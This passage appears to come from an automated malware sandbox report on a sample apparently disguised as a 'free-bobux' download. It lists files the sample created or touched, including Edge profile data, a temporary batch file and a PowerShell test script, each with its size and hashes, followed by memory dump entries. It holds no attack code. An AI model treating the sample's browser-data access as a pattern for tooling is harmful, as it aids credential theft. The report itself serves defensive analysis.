                                                                  22c08c4dfd1ddea049d79d0e3ba5854b3744541a54be805bf8cebf6b0dec2935c2c280b66b175099b420dc074b268d56275e0bd24996bb9b982d083d9cb34208

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  7daab41aa73179612209ec6e1aed7bb7

                                                                  SHA1

                                                                  ca8b73a9b63e61da6923d479a1474b23e7cee61f

                                                                  SHA256

                                                                  ad6633d55437ad3116c7d877f1e8df8953968672217b5e1b11d1133715262100

                                                                  SHA512

                                                                  f6cc24608952c22aed79c17ad9293b3db12027287bfa6ee76713d4f9cc2e150ef635bcd78ec7a3188e3b9ea26f12aafce8198492f99289913a71c3e1d8281259

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                  Filesize

                                                                  181B

                                                                  MD5

                                                                  9e8a60e858755431110b4d2d93a785da

                                                                  SHA1

                                                                  4815231caf7e32dcdf291244b48da00a2819369e

                                                                  SHA256

                                                                  0beec52eed505fe92756de391b55e2968ab696826a7eb31419eb711584a937fc

                                                                  SHA512

                                                                  ec2a38d0f018da176b155aa788c5036578d74f5660fbce99862fae64698ff5b17fce5166d68731966d77f088a4c3a6872989d04acff8bffa1a2d279e5324c4fe

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  1e940e826db9f722d14bbf6cb309d686

                                                                  SHA1

                                                                  43d12a10232a48a268238090261c32ee52d2cbac

                                                                  SHA256

                                                                  ed4d7c00e78d45296561fd55a6a33ac70b86843fed878ebd37d4e88af106e8bc

                                                                  SHA512

                                                                  9af529dff9adcd43e95018aa30a59129ade5464de5846920dd935acb173e4bbd26e9b4b198022ea3a175f2c3614258b87704877ead7da6c2b27ae6e0f05e1771

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                  Filesize

                                                                  181B

                                                                  MD5

                                                                  a52db4059d49a55e15581591ffc86291

                                                                  SHA1

                                                                  fd274267239c9ab32c16d6a0635be6b74a0bd5fc

                                                                  SHA256

                                                                  57ef956df1d00cc55959b91d43dea34c49441279cbf0148882994abd7a8f58d6

                                                                  SHA512

                                                                  7cbf7c168fb83e196f65d57fd7905de9d876d0c01f0f4375d5c2350652c57907f2587660226d13c0ab4704852cb233bf34cd68b95be8bba4239a3eeec1a82b1d

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                  Filesize

                                                                  5KB

                                                                  MD5

                                                                  c5609dbcdb066a767ab198faef0d6398

                                                                  SHA1

                                                                  5ca77b5ce8340fbea10c49f203cc37df6fac898c

                                                                  SHA256

                                                                  0d162d3141c80e4752ddc1ded7c00626e7d21c383114eff3ec67c563aa168532

                                                                  SHA512

                                                                  ecc99765d37763ddd4f676e2eab6c35efe46074ed21fd4b9449a69107813b78144aaafef0affe63cc9ae30d780733fdaba72fd8429d6023ee2e7ba0de79796f0

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                  Filesize

                                                                  6KB

                                                                  MD5

                                                                  5ffd30ae4604692b916ac55826c2bb77

                                                                  SHA1

                                                                  fe0c2cce10f2b5aeffced4a5e2e5b8bdb45c5b4f

                                                                  SHA256

                                                                  c3a38aba1a059d3be30eb79ba6a09acfae15c726e7f4beac2234af236cc475a5

                                                                  SHA512

                                                                  081060f4df9266b1a8c266ea30c37fa8e962afa920b1bdd6991f433881381413aea9b388919332fde9be9886ec0a526b25882e46e15aaf7feb925147f85c0de4

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                  Filesize

                                                                  6KB

                                                                  MD5

                                                                  e45965ce444922b7494ad818772cedf3

                                                                  SHA1

                                                                  a9787b131aeeb3101b8e1bd7e8933cbb4055046a

                                                                  SHA256

                                                                  4c586795a8e2993134932943f9b8e5345c128b5cc686372b40492bf8a4d35a28

                                                                  SHA512

                                                                  036fedb89b142aa699f0650ec59dbbe0d4639bc79cb1ca642fbccf685a197c6e527cdb8c83896e265354bf0234eb73d39279791231b1bf09b7f621ec9323446f

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                  Filesize

                                                                  7KB

                                                                  MD5

                                                                  78202b9a51a2de4aec6e89d761da78ef

                                                                  SHA1

                                                                  b8c95bdc39999d9484f2969bdecae8f701f326fd

                                                                  SHA256

                                                                  ab584d83d39bd1481833e321d0d2bf79e8f542ac28f4acd4801190628a3ba260

                                                                  SHA512

                                                                  859891b99e8be39ef00e2569bf2dd9c6a0d1f84cadd421f0e3b120dadc0fb284cf90ddd8cc80b321c119fbef04f43f05c2d2bf3cc8c54e8a2d5838c9504ef45e

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                  Filesize

                                                                  6KB

                                                                  MD5

                                                                  2fc76a4aba01c9ac3aa8ea6a77192994

                                                                  SHA1

                                                                  884200ce1a41245e3af511b976f9ce1e10bae9ca

                                                                  SHA256

                                                                  76bf3d345a02b33609efc59b300bb4f305ce09aca43a913a701b8a9d2c688b3a

                                                                  SHA512

                                                                  b087b1c619e5f7e603c8792ae4310705a59d3dade814cada51904f96309bb6fd53cca41b95f84dfdc0efde373f3e840aa756daeebba0d00942c43fccde953c19

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                  Filesize

                                                                  6KB

                                                                  MD5

                                                                  bdb1cb90baf7f27196c770e84e160594

                                                                  SHA1

                                                                  9c92f25302cda117c44bd4308ba1fef5d337d49b

                                                                  SHA256

                                                                  6ad352133edb5fef37b0514651cadecb1eb7f0f5e7c9bf9f1227305e1329ae08

                                                                  SHA512

                                                                  f46c130a7a77176892c3493e707f669873b738e15d1799ddfb8b118f78cc0e2f47ca2f9db16d203937f52ed471b9180edf0377852efc2954c2101930f4389e18

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  7e21c7e8f056d6445a31da1315137102

                                                                  SHA1

                                                                  a7922f60a7d33df5d9ee9248638c10121f2a4326

                                                                  SHA256

                                                                  7db6ef87e65db297f04f36e8452d87a2d1c4dd4485cc92c1510f08f4198643c8

                                                                  SHA512

                                                                  e82fefecd5ab95b4577d1b4dc3a7dfbce43ab8eece3f131b36dd9721d100bd50c26d20eb0adc5b8e12a14ae637524a4f2e36451819caebba21bf3e354cfa3240

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                  Filesize

                                                                  873B

                                                                  MD5

                                                                  7f0f1dbd13ad12f1f500d1e7cc199db2

                                                                  SHA1

                                                                  1f8606893b05a0ffd5d27dcc67db491e2ab786a2

                                                                  SHA256

                                                                  e17e2b59af2696f1ee3a9ba5723dbff9c36fe78e858e33a9bac24e13b177947d

                                                                  SHA512

                                                                  00b9e9308fd618d3f742ea85fde868a3f309510bc5c8df8c8da77649fc19df48a423ef9a251e187baa65ae1ea462e0c0018efdf3069564296384241857aa742a

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                  Filesize

                                                                  538B

                                                                  MD5

                                                                  e318e1d15b4ed0c44398eff28dc592d3

                                                                  SHA1

                                                                  65df697975e8968c94e127fa293bd4bcac7f0ab6

                                                                  SHA256

                                                                  484fcf31af06d55578c6ee85aff5297c416071f4f9a87ffe4965808678085a06

                                                                  SHA512

                                                                  c299d3624a6ccc8122fa7b368294752a5ec3da0aa001422ab5c6bbaaef2d76428d6375f15953ce0a0ae72ac27a28618b1e9b1e2c21d776580f829b89aee1763a

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  68de65653545333b7f0765f7c84d820c

                                                                  SHA1

                                                                  8658fe0867d0abbd5355a2ccafcd27789a42c298

                                                                  SHA256

                                                                  e5414afffebf2a1ab7e9d42d3aa45d7e8064d6e9b2f7d223166ba4d763d98973

                                                                  SHA512

                                                                  cb550273968ce363c3961a2cd2c7273d7c0e110d53c742dbb2a134b9c0e10dce06de8a358c5ae4c52af026d767267da44a4357c5f7df964fe64cce11acba1681

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                  Filesize

                                                                  16B

                                                                  MD5

                                                                  46295cac801e5d4857d09837238a6394

                                                                  SHA1

                                                                  44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                                  SHA256

                                                                  0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                                  SHA512

                                                                  8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                  Filesize

                                                                  16B

                                                                  MD5

                                                                  206702161f94c5cd39fadd03f4014d98

                                                                  SHA1

                                                                  bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                                                  SHA256

                                                                  1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                                                  SHA512

                                                                  0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                  Filesize

                                                                  11KB

                                                                  MD5

                                                                  1bf07853bba58a6e35945fc6bf91365e

                                                                  SHA1

                                                                  27f11dda975091765b2db084d297d92bca08547b

                                                                  SHA256

                                                                  441c89923f0c900a0a621410a20053fd15ca99900f665dfa5fd34f7d93b824af

                                                                  SHA512

                                                                  ab0f1c28a96b366dc8a8379a8e68a9b23f338d07b22b58a515e96508f06b88fc4b53f165473ffd3c1d2614e406276855e67165378d11df18a6095cbafbd6e364

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                  Filesize

                                                                  11KB

                                                                  MD5

                                                                  f8faf304efad5af1a9c1fdf692ac54db

                                                                  SHA1

                                                                  a3fcf3900e5f304c2fa248c9ebe2f90135da2c47

                                                                  SHA256

                                                                  fd3705b6873f8ca59ee7f55c54086e093c09a83574b037173835e334e0e83244

                                                                  SHA512

                                                                  19f91423934e242de032c103e89c816f21b119bb310f9ec823a17d1c7dcb4f6253775cae07472aca56a5f928baddd44fdaf89105955b8d9fa1ceeb1ad30bed8c

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

                                                                  Filesize

                                                                  14KB

                                                                  MD5

                                                                  b5c0a8be6899841a4e9e56f8f873c62f

                                                                  SHA1

                                                                  ae0da7cd64b2070fc4d3bd8ac4b03e81a46c5cdb

                                                                  SHA256

                                                                  3b5629dc9919c69c3e3cfb3720c99fbaaf1a09c999b0a53b07395e4778976f08

                                                                  SHA512

                                                                  0006c639e8c3cda89a7ffca53e7bd69157d2d96e7ee0fa81d8e95d420d24d0094bb91d6aecddd479c2de2f5c982ae20388b8984bc4259bdf43509eb6e01d753f

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  12ff85d31d9e76455b77e6658cb06bf0

                                                                  SHA1

                                                                  45788e71d4a7fe9fd70b2c0e9494174b01f385eb

                                                                  SHA256

                                                                  1c60ff7821e36304d7b4bcdd351a10da3685e9376775d8599f6d6103b688a056

                                                                  SHA512

                                                                  fcc4084ab70e49821a3095eeac1ef85cf02c73fdb787047f9f6b345132f069c566581921fac98fab5ddec1a550c266304cce186e1d46957946b6f66dba764d2f

                                                                • C:\Users\Admin\AppData\Local\Temp\2FB7.tmp\2FB8.tmp\2FB9.bat

                                                                  Filesize

                                                                  867B

                                                                  MD5

                                                                  addedb06062eef1e06beb01c81ede139

                                                                  SHA1

                                                                  fe92bda282254358c287991cd4020f393a3393fe

                                                                  SHA256

                                                                  98c6a0254f64be056923053dff9619232013371b7326bd539d5e1717d7844c3f

                                                                  SHA512

                                                                  a892597d9fed1cf6fb34d810ac3385a0e3c2ab03ecb09434eb2252d2cedc3f11c018a0d077a670113a18dcabeddb0f50fc6eda33b7e5ae078bf99d13e8874123

                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_conez04n.jgt.ps1

                                                                  Filesize

                                                                  60B

                                                                  MD5

                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                  SHA1

                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                  SHA256

                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                  SHA512

                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                • C:\Users\Admin\Downloads\free-bobux-main.zip

                                                                  Filesize

                                                                  283KB

                                                                  MD5

                                                                  6238605d9b602a6cb44a53d6dc7ca40e

                                                                  SHA1

                                                                  429f7366136296dc67b41e05f9877ed762c54b73

                                                                  SHA256

                                                                  e315b421cb9bc6ae65fdeea180f5b12d2c4cf4117bf5872381bb20a1b28dbff9

                                                                  SHA512

                                                                  a8c5923c2e203cc2076030af51e4aa25f4c94b595a7f7d15c00c1c4e0eb91ae7734db9c3d59584642d18f5d63a8aecfadb06803a990ec51b668d3d93a079b1a7

                                                                • C:\Users\Admin\Downloads\free-bobux-main.zip:Zone.Identifier

                                                                  Filesize

                                                                  163B

                                                                  MD5

                                                                  e52b22d40f6fafc31ce040016f9ad87f

                                                                  SHA1

                                                                  20b2a27ab5817ee9ebb80bfac72294ffe2f0fb5c

                                                                  SHA256

                                                                  0f36b8ed0b0a6c47d98e7698f75214843c55e22b15510a473384493d853ab927

                                                                  SHA512

                                                                  83cc4bbc6a6e6e4544c5dca91dcfd40d325a2b945b059e8a72bf1499e6a01d560c2a97ce2a14dcd68b06b09f16b705b6f12d3745fcb0ba8bd37bae282a8a96b3

                                                                • \??\pipe\LOCAL\crashpad_4776_GJGSMZSAQTNGUCGO

                                                                  MD5

                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                  SHA1

                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                  SHA256

                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                  SHA512

                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                • memory/3860-866-0x00007FFFAB3D0000-0x00007FFFAB3E0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/3860-865-0x00007FFFAB3D0000-0x00007FFFAB3E0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/3860-864-0x00007FFFAB3D0000-0x00007FFFAB3E0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/3860-863-0x00007FFFAB3D0000-0x00007FFFAB3E0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/3860-868-0x00007FFFA8EB0000-0x00007FFFA8EC0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/3860-869-0x00007FFFA8EB0000-0x00007FFFA8EC0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/3860-867-0x00007FFFAB3D0000-0x00007FFFAB3E0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/5440-895-0x0000017C56540000-0x0000017C56562000-memory.dmp

                                                                  Filesize

                                                                  136KB